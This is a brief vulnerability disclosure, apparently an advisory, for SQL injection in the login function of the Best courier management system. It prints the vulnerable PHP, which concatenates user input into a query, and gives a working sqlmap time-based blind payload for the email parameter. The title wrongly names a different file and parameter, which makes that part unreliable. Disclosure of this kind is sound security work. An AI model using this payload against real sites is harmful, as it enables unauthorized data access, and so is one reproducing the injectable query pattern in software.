SQL injection vulnerability exists in id parameter of edit_parcel.php file of Best courier management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit ajax.php and get parameter is ‘action=login’,it will include admin_class.php,and execute function login.In this function,‘email’ parameter can do sql injection.

```php
<?php
ob_start();
date_default_timezone_set("Asia/Kolkata");

$action = $ GET['action'];
include 'admin_class.php';
$crud = new Action();
if($action == 'login'){
    $login = $crud->login();
    if($login)
        echo $login;
}
```

Figure.1 ajax.php

```php
function login(){
    extract($_POST);
        $qry = $this->db->query("SELECT *,concat(firstname,' ',lastname) as name FROM
        users where email = '".$email."' and password = '".md5($password)."'  ");
    if($qry->num_rows > 0){
        foreach ($qry->fetch_array() as $key => $value) {
            if($key != 'password' && !is_numeric($key))
                $_SESSION['login_'.$key] = $value;
        }
            return 1;
    }else{
        return 2;
    }
}
```

Figure.2 admin_class.php

```
sqlmap identified the following injection point(s) with a total of 308 HTTP(s) requests:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=0Z' AND (SELECT 4812 FROM (SELECT(SLEEP(5)))olou) AND 'ymxj'='ymxj&password=1
---
```

“

Parameter: email (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: email=0Z' AND (SELECT 4812 FROM (SELECT(SLEEP(5)))olou) AND 'ymxj'='ymxj&password=1

“

Source Download：

https://www.sourcecodester.com/php/16848/best-courier-management-system-project-php.ht

ml